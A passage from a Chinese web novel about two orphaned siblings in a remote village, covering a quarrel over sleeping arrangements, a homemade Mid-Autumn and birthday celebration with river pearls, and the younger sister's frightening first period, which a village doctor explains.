睡的,没有睡枕头,可他明明记得,昨晚在他睡过去之前,冯水正在用这个枕头,而且他还坐在床沿上,一半身体都在外面,就算要倒,也绝不可能会往床上倒。 所以,是冯水把他拉到床上的,也是冯水把他放到枕头上的。 就算是怕他摔着,可之后为什么不但不叫醒他,还和他一起睡? 他已经和她说过无数次了,女孩子要学会保护自己的隐私,妹妹也不能和哥哥一起睡觉。 听不懂吗? “冯水。”他心里着急,拧着眉拉了冯水一把,力气不小,她立马就醒了,疼得皱眉噘嘴,眼看就要哭。 “不许——” 蒋山刚要呵斥,看见她右边手臂上竟然长了好几个蚊子包,左边也是,他伸手拉着她脚踝,两条腿也是。 “你上哪儿被咬这么多包?”蒋山又看了眼蚊帐,里面没有蚊子,而且蚊帐确实也是关好了的,不会跑蚊子进来。 下一秒,他眉头松开。 蚊子进不来,那就是冯水出去了。 睡得好好的干嘛要出去,还不是因为他这个凶神恶煞的哥哥不准妹妹睡一起。 他先是心一惊,而后莫名松了口气。 所以……她记住了他说的话的,出去了又回来,应该是因为只有这里没有蚊子。 他转过头问冯水,语气已经恢复了往日的温和:“昨晚出去睡的时候被咬的?” 冯水昨晚被咬了一身的蚊子包,本来就痒得没睡好,都已经做好醒来被骂的心理准备了,结果蒋山竟然用这样粗暴的方式把她叫醒,还抓她的手臂。 冯水哭着吹着被捏红的手臂,眼泪一颗一颗往凉席上掉:“不然呢!” 蒋山瞬间哑了声,心虚地咽了咽。 他往冯水那边过去,轻声说:“给哥看看。” 冯水转身不让他碰,哭得一抽一抽的。 蒋山无奈又懊悔地摸了下后脑勺,下床去桌上拿了清凉油:“哥给你涂点药。” 冯水看他一眼,又转了回去。 安静几秒。 “冯水,哥错了。” “哥误会你了,哥还拉你,对不起。” 冯水又回过头来:“然后呢?” 蒋山看着她不解。 冯水抹了把眼泪,更加委屈地转了回去。 蒋山没明白,也不知道说什么。 过了会儿,冯水身上的蚊子包痒起来,她红着眼睛又转了过来,手臂伸过去:“你还凶我了!” 蒋山被她吼得一愣,后知后觉地笑起来:“哦,对,哥还凶你了。” 冯水又擦了把眼泪,看着蒋山一脸委屈。 蒋山被她弄得心焦,也软了语气哄她:“哥错了,哥向你道歉,对不起。” 冯水抽噎着吸了吸鼻子,没说话。 蒋山抬手给她擦了擦泪,检查了一下他刚才捏过的手臂,确定没什么事,然后打开清凉油给她涂药。 “下次再遇到哥在你这睡着,记得把哥叫醒,知道吗?” 冯水气不过,晾了他一会儿。 “不知道!” 蒋山先是抬头看她,而后无奈地咽了咽:“冯水,听哥的话。” “那你说到底为什么?” “明明一开始都可以的,为什么现在不行,就算现在不行,那昨晚都已经睡了,不是也没怎么样吗?” “不是睡一起了就会怎么样。” “哥当然不会对你怎么样。” “那为什么不行?” “那你为什么一定要和我一起睡?” “因为你是我哥啊!”冯水说到这里眼里又泛起泪花,“我只有你了。” 一阵沉默。 蒋山拧着眉叹气,低头继续给她擦药。 一直到涂完药,两个人都没再说话。 蒋山把柜子里一袋掰好的红糖放在床边,去灶屋做饭了。 早饭,午饭,晚饭,蒋山都像往常那样做好盛好放好,中间也照常给她夹菜,但两人仍是没有说一句话。 冯水就这样晾了蒋山一天,蒋山也冷了冯水一天,晚上冯水洗好澡在房间里等蒋山,却看见他洗澡出来之后直接回了他自己的房间。 眼泪一下子夺眶而出,冯水关了门转身跑回床上,蒙着被单哭。 但刚过一会儿,她听见门开的声音,然后是重物在门框上不小心磕碰到的声音。 她抹了把眼泪起身,从蚊帐里探出头来,看见蒋山正搬着那张旧床进来。 “哥?”她不可置信地睁大了眼。 蒋山正咬牙搬着床过门,然后轻手轻脚地将床放好,就在冯水床的旁边,不到一米的距离。 蒋山拍了拍手上的灰,转身离开,很快,他拿着枕头和被单进来。 “从今天起,哥每天都陪着你睡。” “一直到你不再需要哥陪着你睡为止。” 冯水鼻头一酸,瘪嘴哭了起来。 蒋山赶忙过去哄她:“干嘛?哥刚来你就不想和哥睡了?” 冯水哭着摇头,看他走近,直接一头埋进他胸口,紧紧抱着他猛哭起来:“哥……” 蒋山也抱住冯水,一下一下地轻拍她的后背安抚着,压抑了一天的情绪也终于在怀中人发泄般地哭喊声中得到释放。 又或者,压抑的早就不止是这一天了。 他依赖冯水,就像冯水依赖他一样,不是别的,不用克制,更没必要避嫌。 单单因为,在这个世界上,他们都只剩彼此了。 7. 枯芽寄07 八月十六,中秋节后一天,是冯水的生日。 日子快到的时候,蒋山把地里的玉米卖了,又挖了两趟草药去卖,攒了钱领着冯水去镇上做了身新衣服,还买了好些布,打算带回家自己给冯水做衣服。 蒋家湾离镇上远,这么多年也没有通车,蒋山现在长大了些,腿脚也快了些,但还是得在路上耽误一天多的时间,现在又带着冯水,就又和以前耽误的时间一样了。 但有时候他又觉得,现在和以前还是不一样的。 比如走的时间久了,有人会哭着要抱要背;比如路过花花草草时,有人吵着要去摘,结果还不小心割到手;又比如晚上在路边石板上睡着时,总会有害怕得往他怀里缩的那一小团。 冯水,这些都是冯水。 一直和他在一起的冯水。 只依赖他一个人的冯水。 他的冯水。 八月十五,蒋山起了大早把院子给打扫了,又去灶屋把早饭给做好,简单吃过饭就开始准备给冯水做月饼。 蒋二全去世之后,他就再没过过这些象征团圆和乐的节日,更不会做月饼,但冯水一直很期待吃月饼,昨晚睡觉前还特地叮嘱过他做的时候一定把她叫上。 所以即便是他不会做,也得学着做,反正以前在镇上的时候看见人做过,感觉就是裹了糖馅儿的、小一些的、有很多层的烤饼。 只要馅料别弄得太奇怪,烤的时候注意火候,做出来应该还是能吃的。 蒋山搬了张桌子在院子里,把猪油、面粉、鸡蛋和红糖花生芝麻端出来放好,才进屋去把冯水叫起来。 然后就是吃了半碗稀饭的冯水坐在桌边撑着脑袋边打哈欠边睁大眼睛看蒋山揉面的场景。 蒋山看她这模样笑起来:“你要不再去睡会儿?反正就是揉面包馅儿,没什么好看的。” “不要。”冯水撑着脑袋慢慢摇头。 蒋山又笑起来:“那你想试试吗?” 冯水放下手,看了看盆里的面,又看了看蒋山。 这是不会的意思。 蒋山笑着把盆里的面团分成汤圆大小的十几份,连带着盆放到冯水面前:“你帮哥哥把这些搓成球就可以。” 他拿了一个出来,双手揉搓两下,右手拿开,左手手心就躺了一颗白白胖胖的球形面团。 冯水看这样简单就可以帮上忙,一下子来了兴致,眼睛都亮了,也不坐凳子了,站起来靠在桌子边上挨个搓着球。 蒋山笑笑,拿了个小盆开始用猪油做油酥。 他动作一向麻利,不光把油酥做好,连馅料也备好了,冯水都还在努力搓球。 他也不着急,坐在一边慢慢等着她。 临近中午,兄妹俩才将月饼全部包好,蒋山把饼放进一口被燃烧的煤炭包围的炉子里后洗碗做饭去了,冯水就一直守在边上等着。 吃完午饭后,蒋山揭开盖子夹了一块出来,确定熟了之后就开始烤第二炉、第三炉…… 刚出炉的月饼烫,蒋山说要放凉了才能吃,冯水就一直守在旁边等它凉,中途大概是香味儿飘了出去,小花跑了回来,和她一起守着盆里的月饼。 等到晚上该赏月的时候,冯水觉得自己都快吃撑了,但蒋山才吃了两个,她趁着他在院子里摆菜和野果子,喂了一个月饼给他。 “哥,月饼节快乐!” 蒋山咬了一半,嚼了好一会儿咽下去,才笑着说:“是中秋节,我的傻妹妹。” “哦。”冯水仰头看着他笑着,好看的大眼睛弯起来,盈盈地闪着星星。 到底还是蒋山先叹了口气,也笑着给她喂了个饼:“月饼节就月饼节吧。” “月饼节快乐,冯水。” 中秋节后一天就是冯水的生日,冯水两个日子都没怎么过过,蒋山愿意给她过哪个她都高兴,但在蒋山看来,冯水的生日比中秋节要重要。 晚上赏完月之后他就带着冯水早早睡下,八月十六当天一早,蒋山去后院儿抓了只公鸡,怕鸡叫声太大吓着冯水,他还特意拿远了处理。 小花跟着他忙前忙后的,看着他把鸡放锅里炖着,又去地里摘菜,摘好了菜,冯水起床了,他又给她热早饭。 “哥,我们中午吃鸡吗?”冯水闻到鸡汤的香味,凑过来问他。 蒋山正在工具桶里找着渔网和鱼叉:“对啊。” 他找到渔网,拎起来给冯水看:“还吃鱼呢。” “吃鱼?” “哥你是自己抓吗?” “哥你什么时候去抓?” “哥我也想去。” 蒋山走进灶屋看了眼鸡汤,把灶膛里的柴拿了出来,留了点儿炭煨着,一手渔网鱼叉,一手装鱼的竹筐,转身叫上冯水:“走吧,哥带你抓鱼去。” 蒋家湾被一条河流分成两半,一半在湾下面,土壤肥沃庄稼强壮,鱼虾也众多且肥美,所以住在那儿的人家也多;而另一半,河流的分支要少些,又是上游,土壤稍显贫瘠,河沟也很多砖石,除了蒋山这一家,这边就没有别的人家了,胜在清静,也胜在宽裕,只要能干,想种多宽的地都行,想抓多少的鱼也行。 蒋山在渔网里装了点肉扔进沟里,然后捞起裤腿拿着鱼叉去湾子边上的浅滩上叉鱼。 冯水以前去小溪边上洗衣服的时候被螃蟹夹过脚,有点害怕,先是站在河沟上面的桥上看着,但越看又越想去,反正渔网这边只需要等虾上钩就可以,她捏了捏拳头,鼓起勇气往蒋山那边跑去。 她一路往下跑到浅滩上,差点吓跑蒋山正要扎的鱼。 “哥。” 她话音刚落,蒋山拿着鱼叉一下朝水里扎进去,一条手掌大小的草鱼被叉了起来。 “哇!”冯水看见蒋山叉到了鱼,想过去,可又怕把蒋山刚给她做好的布鞋弄湿,站在水边干着急。 蒋山往她这边走过来,把鱼递给她看了眼,冯水本来还挺激动,探过头去看,结果刚好看见鱼死过去翻白眼的模样,吓得捂着脸叫出了声来。 蒋山皱着眉奇怪地看了眼鱼,一边往竹兜里扔鱼,一边笑着哄她:“没事儿,不是有哥在吗,一条死鱼而已,不怕。” “看这个。” 他朝她伸手,摊开掌心,五颗大小不一、形状也不一的珍珠出现在她眼前。 冯水慢慢放下挡住脸的手,她没见过这东西,觉得很是新奇,伸出食指在其中一颗指甲盖儿大小的珠子上小心翼翼地戳了戳,硬硬的,滑滑的,表面还沾着有水渍和一点点泥沙。 “这是珍珠,河蚌里开出来的。”蒋山勾着嘴角和她解释,“以前没见过?” 冯水抬眼朝他摇了摇头。 蒋山笑着小幅度动了动手:“手接着。” 冯水赶紧朝他摊开双手,蒋山把珠子轻轻放她手心:“自己拿着玩会儿,哥再去叉两条鲫鱼,一会儿给你熬汤喝。” 蒋山说完,转身又去抓鱼了,冯水两只手捧着那几颗珍珠,残留的水渍从着她的指缝间悄悄溜走。 她认真地抿着唇,将珍珠都腾到右手手心,左手轻轻捻了一颗椭圆的珠子举起来看了看,柔和的、温润的、在阳光照射下闪着彩色光泽的……珍珠。 她轻轻将珍珠放回了掌心,小心地捧着,继续在水边看蒋山叉鱼。 回家的时候,蒋山一共叉了三条鲫鱼、两条草鱼还有一条胡子鲢,河沟那边的网兜里也抓了小半桶的虾和螃蟹,倒在盆里清洗的时候发现还有几条拇指大小的小鱼,被蒋山一起洗干净裹了面粉炸成了小鱼干。 今天的饭菜尤为丰盛,冯水中午吃的饭,到了半下午才勉强不撑,晚上好不容易消化了,又吃饭,吃了饭还想吃果子,吃了果子还想吃昨天剩下的月饼,最后蒋山在灶屋里洗碗的时候,冯水撑得在院子里坐着动都动不了。 小花今天也是吃了不少,躺在她脚边的时候,冯水都能看见它鼓起来的肚子。 冯水坐得有点累,起身动了动脖子,今天的月光依然很好,月亮又大又圆,像……块儿月饼。 她想到这里又笑起来,刚想进屋去找蒋山玩,就看见他从灶屋里出来,说是水烧好了,让自己去洗澡。 冯水答应一声,听蒋山的话拿着澡盆进了洗澡的棚子。 都要脱衣服了,忽然想起早上蒋山送给她的珍珠还在兜里揣着,怕脱衣服的时候弄掉,又跑回房间,正好撞见蒋山弯着腰在桌上用果子和糖给她拼生日蛋糕,旁边还放着一个糕饼店里卖的那种塑料莲花蜡烛。 一阵沉默。 “哥……”冯水站在门边,有点不知所措。 “不是让你去洗澡吗?怎么突然过来了?”蒋山明显也很意外,直起身来问她,手里还拿着双摆水果用的筷子。 冯水抿着唇,把兜里的珍珠拿了出来,摊开手掌给他看。 “我想把这个放下再去洗。” 蒋山视线落在她掌心。 是他上午时叉鱼时送她的那五颗珠子。 冯水低头错开视线走进去,把珍珠在自己床头放好,然后又低着头出来,眼神全程回避着桌上的水果蛋糕和生日蜡烛。 “哥,我洗澡去了。” “等等。” 蒋山叫住她:“反正都看见了,那就这会儿许愿吧,一会儿糖化了也不好吃了。” 他将塑料蜡烛拆开放好:“蛋糕拼好了,过来吧。” “哦。” 蒋山拿起火柴:“自己点吗还是哥给你点?” “哥点。” 蒋山擦燃火柴,把蜡烛点燃。 火苗燃起的一瞬,塑料莲花慢慢盛开,响起生日快乐歌。 蒋山还是第一次见这样会动会响的蜡烛,当时买的时候只是听老板说城里现在很流行这个,糕饼店里最好的蜡烛也是这个,只以为应该就是个形状比较特别的蜡烛,结果竟然还能响。 “哥!”冯水很是开心,“我记得这个歌,是生日歌!我妈妈以前给我唱过的!” 蒋山笑着答应:“哦,是吗?” “嗯!”冯水看着他笑。 “快许愿,一会儿蜡烛该燃完了。” 冯水双手合十,闭着眼睛许愿,蒋山坐在她旁边看着她。 刚见面那会儿,冯水也是这样闭着眼睛,但那会儿她脸上都是泥巴和血迹,整个人瘦得不成样子,脸色苍白得像纸。 现在…… 蒋山抬手给她拨了拨挡脸的头发。 至少不那么瘦了。 她会越长越好的,蒋山这样想着。 他要更加努力,把妹妹养得更好。 “哥,我许完了。”冯水许完愿就笑着转头看向蒋山,满眼都是期待。 “许完了就吹蜡烛吧。” 冯水吸了口气,往蜡烛上用力一吹,一口气全灭了。 “生日快乐,冯水。” 蒋山原本不打算说这个的,但冯水今天真的很开心,他一个当哥哥的,扭扭捏捏的也不是个事儿,于是还是笑着对她说了句,但到底还是有些放不开,语气没什么情绪。 “谢谢哥!”冯水很高兴地回应一句,笑着给蒋山喂苹果。 蒋山拼的这个生日蛋糕很是简易,一个陶瓷的盘子,两层水果,撒了白糖和红糖碎装饰和调味。 用的都是这个季节山里时令的水果,苹果和柿子都是蒋二全在的时候种下的,后来他又种了些秋梨和红枣,苹果柿子和红枣他都加了,就是没有加梨。 其实按道理说,中秋节前后最好吃的水果当然是梨,但毕竟是冯水生日,梨……总感觉不太吉利。 他不想再和任何人分离了,冯水肯定也不想。 “哥,你多久生日?”冯水吃着枣,忽然这么问了句。 “等哥生日,我也要给哥拼生日蛋糕。” 桌上的生日蜡烛已经 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“冯水,是村里的克星。” “冯水……和冯水的东西,都不吉利。” 她说着,声音越来越小。 “哥……不想要也正常。” 蒋六牙一家已经死了将近半年,蒋山都快忘了冯水曾经被传是克星的事了,猛地听冯水这么一说,才意识到她这是误会了,刚想说当然不是,转头看见冯水这副模样,一定是最近有人又说过她。 他反手拉起她的手,紧张地问她:“是不是又有人骂你了?” “是谁?” 冯水低着脑袋摇头。 “跟哥说。” 冯水仍是低着头不说话,咬着下唇憋眼泪。 自从村里的人知道了她没死,还住进了蒋山家,那些因为她去世而慢慢消散的谣言就又卷土重来。 蒋山的确已经尽力在保护她,但她还是会有独自一人的时候。 这些人、这些事,她逃不开,只能努力试着让自己不去在意,可如果连蒋山也这样…… “冯水。”蒋山等得着急,拉她手她也不动,干脆低头去看她,刚巧看见一滴泪的落下。 他难受地皱紧了眉。 “哥答应你,哥和你同一天生日。” 蒋山拿筷子夹了瓣柿子吃:“哥今天也吃水果蛋糕了,和冯水是同一块儿蛋糕。” 冯水酸着鼻头,慢慢抬起头,嘴角颤抖着,一滴泪悬在眼眶要掉不掉的。 蒋山看了看桌子,把那个莲花蜡烛又合上,拿火柴把所剩无几的几瓣蜡烛点上,像冯水那样伴着生日歌闭眼许愿,大概十秒,他睁开眼,抢在蜡烛熄灭前吹灭。 “哥也许愿了,用的也是冯水的蜡烛。” 然后他看向冯水:“你不祝哥生日快乐吗?” 冯水看着他哭起来:“哥……” 蒋山轻轻给她擦掉眼泪:“我们冯水的东西都是好东西,哥喜欢都来不及。” “绝对不会嫌弃。” 冯水吸了吸鼻子:“真的吗?” “当然是真的,你连哥的话也不信了吗?” “我信。”冯水用力点着头,扎的两个小辫子都在甩。 蒋山看着她笑起来:“那不哭了?” “嗯!”冯水两把抹掉眼泪,起身往床边去了。 蒋山以为她这是要去睡觉了:“一会儿再睡,还没洗澡呢。” “我不睡。”冯水颤抖着声音回复了一句,然后掀开蚊帐找了找,捏着什么东西过来了。 “送给哥。”她摊开手掌,干干净净的五颗珍珠。 蒋山刚想拒绝,但又怕她伤心,纠结两秒,从里面拿了一颗最小的,解释说:“冯水,这些也是哥送给你的生日礼物,哥也希望你能收下,所以哥就要一个,意思一下就行了。” “好吗?” 冯水看了看蒋山手上的珍珠,又看了看自己手上的,把他手上的拿了回来,换了一颗最大的给他:“那哥要最大的。” “冯水。”蒋山还想说什么,抬眼就看见她又是一副要掉眼泪的样子,把话又咽了回去。 算了,妹妹想要对他好,他应该高兴才对。 他就这样收下了那颗珍珠,晚上睡觉时,才后知后觉地喜悦起来,捻着那颗珍珠好半天睡不着。 他有生日了,是冯水非要和他分享的,他还有生日礼物,也是冯水非要他收下的。 非要,必须如此,不可拒绝。 不然她就要哭。 蒋山将珍珠放在了枕头边上,睡着了都在笑。 第二天天刚亮,他就起了床,去针线筐里找到红线和粗针,把冯水送他的那颗珍珠穿成了一条项链,小花听见动静过来,看他一个人坐在院子里,对着朝霞的方向举着一条珍珠项链,阳光一点一点洒在珠子上,映出柔和温润的光。 等到差不多是冯水睡醒的时候,蒋山回了屋子找冯水,把她的那四颗珠子也用红线穿了起来,怕红线太细她戴着勒脖子,还用粗一些的红线围着原来的红线编粗了一些。 “哥,你觉不觉得,我的这个看着有点奇怪?”冯水捧着江山递过来的项链皱眉,“就是……只有四颗,是双数,串在一起还好,但这个是分别穿起来的。” “虽然……隔得不远,也不丑,但是……看着就是和其他的项链不太一样,总感觉像是少了点什么。” 蒋山只是笑着,却没有回答她。 他要的就是这样。 要别人一看,就觉得冯水的项链缺了点什么。 而她所缺的那一颗、应该被穿在正中间的珠子,在他这里。 8. 柔藤绕01 冯水第一次见蒋山的时候,他十三四岁,第一眼,她就觉得这个哥哥长得好看。 后面,蒋山真成了她哥,她每天都能看到他,渐渐地,一个问题从她心底生出。 “哥,等我长到你这么大,是不是就会变得和你一样好看?” 蒋山只是笑着哄她:“等我们冯水长到哥哥这么大,会比哥哥还要好看哦。” 比哥哥还要好看。 冯水认真记住这句话,每天跟在蒋山后面吃饱饭喝饱水、上山采花下田玩草,在他一天天重复挖田种地的动作里,和小花一起打着瞌睡努力长大。 十三岁那年的初夏,冯水长高了好一头,蒋山去年给她做的衣服和裙子已经全部穿不了,起早贪黑地把地里的活儿给做了,专门腾出两个白天的时间给冯水做衣服。 山里夏天蚊虫多,冯水招蚊子,又爱跟着他瞎溜达,这两年长大些,胆子似乎也大了,爬树抓鱼什么的也老是跟着学,穿裙子总是不方便,蒋山前两年给她做了挺多条裤子,但短裤招蚊子,长裤又热,最后纠结下来,还是决定今年多做几条裙子,多叮嘱她一下别到处跑就行了。 冯水长了一头,蒋山也长了好一头,每天看着都还不觉得有什么变化,甚至觉得冯水变矮了,但拿着软尺给冯水量身高的时候,他才惊觉。 冯水,已经到他刚见到她时的年纪了。 “哥,我想要这个布做的裙子。”冯水拿着一块印着嫩黄色碎花的纱布过来找蒋山。 蒋山正在拿纸板给她描裙子模版,抬头看了眼:“知道,那些布都要做。” “那衣服呢?” “哥可以用这个给我做衣服吗?” 蒋山无奈地叹了口气,笑着拨了下她的辫子:“你说呢?” 冯水笑起来:“哥最好了!” 蒋山勾唇笑笑,没再接话,低头继续画着裙子模版。 冯水去院子外和小花玩了会儿,蒋山刚想让她注意别被蚊子咬了,就看见她捂着肚子去了厕所。 蒋山没太在意,继续忙着手上的事。 他这两年来做衣服的手艺愈发娴熟,从最开始只会把两块儿布简单拼接缝合在一起,哪里该往里收哪里又该往外扩一概不知,一件衣服做出来除了能遮羞之外根本没法看。 冯水倒是不挑,只要他做了,她就笑嘻嘻地穿上,漫山遍野地到处跑,丝毫不在意衣服丑不丑。 但蒋山觉得,小姑娘哪有不怕丑的,之所以这样喜欢,多半还是因为这是他亲手给她做的。 他不想辜负妹妹的喜欢。 他开始研究适合冯水穿的衣服和裙子,第一条裙子缝合好之后又重新裁剪修补了十多次,冯水穿上才勉强像个样子,后面蒋山就照着这个办法继续做,做两件、三件、十件、二十件……才有了现在这样,只用量一下身高和维度,就可以比着纸板画图样的水平。 胸围……82了吗? 怎么突然变了这么多。 蒋山看着刚才冯水自己记录下来的尺寸皱眉,刚准备去问问她是不是量错了,就看见她一只手扶着墙从厕所出来,整个身体看上去都很僵硬,背佝偻着,两条腿动作极慢地往前挪动,眉头痛苦而惊恐地皱在一起,刚看到他,就一下子大哭了出来,呼吸急促,话都说不流畅:“哥……” “我……我流血了。” “怎么办?” “流血?”蒋山被她这话吓得不轻,赶紧跑过去扶着她,在她身上到处看,“哪里流血了?” 冯水哭着指了指自己的大腿,害怕得发抖:“我……我上厕所的时候,流了好多血。” “我……我肚子也好痛。” 刚说完,蒋山就看见一道血迹沿着她的左腿流下来,心脏猛地一沉:“是哪里受伤了吗?” “肚子痛,是肚子受伤吗?”他着急冯水,也顾不上那么多,直接上手捞她的衣服。 可她肚子上干干净净,没有半点青紫红痕。 他又去脱她裤子,刚把外裤脱下,就看见已经被鲜血染透了的内裤。 “走!哥背你去隔壁村找医生!” 蒋山把冯水的裤子提了回去,回屋拿了钱和钥匙,锁上门就背着冯水往隔壁村跑。 两年的时间过去,他在长高,也在长力气,腿脚麻利了更多,以前要花大半天才能赶到的距离,他可以三个小时就跑到。 可坏就坏在昨天夜里下了好大一场雨,蒋家湾和隔壁刘家村最近的那条山路被山上垮下来的石头堵死了,蒋山都跑了一半了,背着冯水试着走了两步,石头上满是泥巴,又滑又难走,刚要踩第三步的时候蒋山脚下的一块石头直接滚落山底,如果不是他只是试着用了点力,没有全部踩下去,否则刚才就是他和冯水一起摔下山崖了。 他背着冯水,咬了咬牙,又转身往回跑,从村里的小路过去。 冯水趴在蒋山后背,下腹部的疼痛让她全身冒着冷汗,四肢都快要失去力气。 她还在流血。 一直在流。 她能感觉到一阵一阵的热流不断从她腿间溢出。 她……还是要死吗? 明明都过去这么久了,怎么好像又回到了原点。 她看着正背着自己满头大汗往前跑着的蒋山,他后背已经湿透,和她身上的冷汗混在一起。 “哥……”她哽咽着小声叫他,身体上的痛苦已经让她分不清自己到底有没有在流泪。 “哥……” 她抱着他,脸颊贴上他的后颈,又有水正在离开她的身体。 一些是眼泪。 一些是血。 蒋山双手把着她的腿弯背着她跑,手心忽然传来一阵黏腻温热的触感。 他紧咬着牙忍住眼泪,心脏难受得快要喘不过气。 不会的。 冯水不会死。 医生会救她。 冯水不会死。 一定不会死。 他停下来喘了两口,继续卖力地往前疯跑着。 “哥……” 冯水靠在他后背,路途颠簸,她话音都在抖:“哥……谢谢你。” “谢谢你救我。” “你是个好人,又能干,又努力。” “哥以后……一定可以过上好日子,特别特别好的日子。” 她说着说着又哭起来,喉头涩得哑了声。 她张着嘴缓了缓,接着说:“哥……冯水好喜欢你。” “哥……是除了我妈妈之外,对我最好的人。” “我喜欢哥。” “就算……死了……” “胡说!”蒋山没忍住停下来朝她吼了一句,声音也因为哭泣而变了调。 他眼泪再也止不住,边哭边往前跑着:“你不会死,哥不会让你死。” 冯水一直在哭,喉咙难受得无法呼吸,她张着口顺着气,用所剩无几的力气抱住蒋山的脖子。 “哥……” “冯水……会记得你。” “到了……到了阎罗殿,会和他们说……哥是世界上最好的人。” “让他们,不要欺负哥。” “还要……还要让哥多活几年,要……要活到一百岁。” 她脱力地趴在他肩头:“哥……我妈妈,我妈妈……” “我妈妈也很爱我,会照顾好我的。” “哥……不用担心我。” “冯水。”蒋山泪水模糊了视线,也减慢他的速度。 他不想冯水死,一点都不想。 以前蒋二全死的时候,他还不懂事,也没有办法,蒋二全的狗死的时候,他也没有办法。 但他后来救活了小花,也救活了冯水。 都这么多年了,他明明就已经留下了她们。 现在冯水就在他背上,还能呼吸,还能说话,他一定要救她。 一定要救。 可又有热血沾湿他的手。 他再也坚持不住,崩溃地背着冯水边哭边跑着,跑两步,就要停下来喘气,喘两口,就吸吸鼻子接着跑。 冯水听见他哭,自己也哭。 说来奇怪,明明刚才很害怕的,现在怎么忽然不怕了。 “哥……” “等我……等我死了,你会记得我吗?” “你会去看我吗?” 她又流起眼泪,在他后背说着:“我叫冯水,冯水。” “哥。” 蒋山没再回答她,憋着一口气往诊所疯跑着,一路上惊动了不少人家的狗,朝着他凶恶地叫唤,他也不理睬,只撒腿往前跑。 终于,他跑到刘家村的诊所前,背着冯水冲进去找医生:“刘医生,你快救救我妹。” 刘医生全名刘迎,是个四十多岁的女人,今天诊所没什么病人,她正在诊所后面打扫卫生,看见这一大一小两个孩子这样惊慌地跑过来,累得满头大汗,哭得稀里哗啦,也以为是出了天大的事,赶紧洗了手过来:“怎么了?” “我妹流血了!好多血!”蒋山找了个凳子,背过身去,想把冯水放上去,但又怕她摔,刘迎赶紧过去帮着扶着冯水。 刚过去,她就看见冯水下半身的血,她有所猜测,但这俩孩子哭得着实吓人,冯水的血流得确实也有点过于多了,屁股上全是,两个裤腿也沾了快大半。 “伤口是在下半身吗?上面有没有?”她再次询问。 “没有,上半身都没有我看了。”蒋山喘着粗气,“就是下身那里。” 蒋山说到这里又没忍住眼泪:“好多血,真的好多。” “下身?” 刘迎听他这么说,松了口气放下心来,低头问冯水:“小妹妹能站起来吗?” 冯水难受地摇了摇头:“痛……” “医生怎么办……”蒋山着急地问着。 “没事儿啊。”刘迎安抚着说了句,“你是哥哥?” “对。” “你先把你妹抱过来。”刘迎往诊所后面走着,“过来。” 蒋山把冯水抱起来跟过去。 “厕所里面等我。” 刘迎这么说了句,进了房间拿东西,蒋山不解,但照做。 很快,刘迎走进来:“把妹妹放下吧。” 她过去扶着冯水:“坚持一下,先站着。” 然后对蒋山说:“好了你先出去吧,把门带上啊。” 蒋山听话地出去,刚关上门,脚踝忽然传来一阵黏腻的触感,他低头一看,竟 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刘迎拿纸给她擦了擦眼泪:“走吧,阿姨去给你拿点止痛药吃。” 诊室里,冯水刚吃了止痛药,正趴在椅子上休息,刘迎把蒋山叫到了房间外。 附近村子都穷,家里的青壮年一般都会去镇上打工,留下老人和孩子,一个没文化一个胆子小,说风就是雨,丁点磕碰就不得了,像今天这种大惊小怪的事她见过不少,但来个月经就以为自己要死的,她还是第一次见。 这是……家里不但没大人,也没有女人的意思吗? 她打量着蒋山,总觉得好像以前见过。 “以前来过阿姨这儿吗?”她问。 “来过。”蒋山说着,看了眼屋里趴着的冯水,“两年前,我来给我妹拿药。” “她被人打了,身上很多伤。” “哦。”刘迎想起来,“就是你哦,来拿了很多消炎和跌打损伤药的那个男生。” “你们家长呢?”她笑起来,试探着问了句。 蒋山抿了抿唇,垂眸说着:“没有家长,就我们俩。” 难怪。 刘迎点了点头:“那行,没有家长的话,阿姨就和你说了。” “你妹这个不是生病,也没什么大事儿,这个叫月经,女生进入青春期后都会有的,每个月来一次,但有的会痛有的不会。” 她转头看了眼冯水:“疼成你妹这样的……平时多给她吃点肉,营养什么的尽量跟上。” 刚说完,她忽然想到什么,问蒋山:“有肉吃吗你俩?” “有。”蒋山点头,“我会种地,还会卖药材卖野果子。” “是吗?”刘迎有些惊讶,“这么厉害。” 蒋山不大好意思地抿了抿唇。 “那行,有肉吃就没多大问题。”刘迎继续说,“还有,你等下啊。” 她又回了房间,拿了几包卫生巾出来:“这个叫卫生巾,专门用来吸收月经血的,长的晚上用,短的白天用,怎么用我已经和你妹说了,回去记得给你妹买,一个月至少也得用个两三包吧,这个在镇上才有卖的,也挺远的,你一次多买点。” 蒋山点了点头。 刘迎把卫生巾递给他:“这几包你先拿着,这个月先用着,一会儿算在药钱里。” 蒋山接过去,再次点点头:“谢谢刘医生。” “不用谢。”刘迎说着,往外走了两步,蒋山以为她说完,正打算跟在她身后出去,却不料她忽然又回过头来。 “哦对了,还有一件事儿。”刘迎转过身来,“你妹……这就算是正式进入青春发育期了啊,除了卫生巾要准备,还要给她买内衣。” “内衣?”蒋山皱眉。 他不记得自己十三岁的时候穿过内衣。 但下一秒,他又有点理解。 他十三岁的时候不是也没流过血吗? 冯水……是女孩儿。 不能当男孩儿养。 也不是喂点吃的做点裙子就可以了的。 “对啊。”刘迎看他这样就知道他不懂,“你下次去镇上的时候带你妹一块儿去,找那种内衣店,里面有人会教你妹怎么选的。” “好。”蒋山点了点。 刘迎看他这模样还挺懂事的,多问了句:“你上初几了啊?” “初几?”蒋山没听明白,只以为她想问日期,说,“哦,今天五月初二。” 刘迎笑起来:“我问你上学,初中几年级了?” 蒋山有点尴尬地动了动嘴角,眼神下垂着,“我……没读过书。” “没读书?”刘迎更加震惊。 家里没大人就算了,怎么连书也没读,现在不是有九年义务教育机制吗? “你妹呢?”她又问,“她上学了吗?” 蒋山这才忽地意识到,他这个哥哥当得有多不称职。 “也没有。”他微微低下了头。 刘迎看他这样也不好再问其他的,叹了口气,还是好心提醒了一句:“你妹妹是个女孩儿,现在不读书,将来长大了怎么养活自己,难道也去干挖田种地这种力气活吗?” 9. 柔藤绕02 想着两个孩子家里没大人,刘迎又嘱咐了一些注意事项,蒋山认真记下,然后把冯水背回了家,小花跟在他身后走着,一路上大家都格外安静。 到家的时候已经是半下午,蒋山把冯水放到了床上,她还是疼得厉害,眉头皱着,额头上全是细细密密的汗珠。 蒋山看得心揪,但刘迎叮嘱了止痛药一天只能吃两次,而且从上午到现在冯水都还没吃过东西,他把蚊帐给她关好,按照刘迎说的先去厨房给她烧热水袋,然后打了几个鸡蛋蒸着,又把前天捞起来放水缸里养的鱼给处理了,放锅里炖着。 热水袋烧好,他拿了个帕子裹着,掀了蚊帐进来,准备放到冯水后腰的位置。 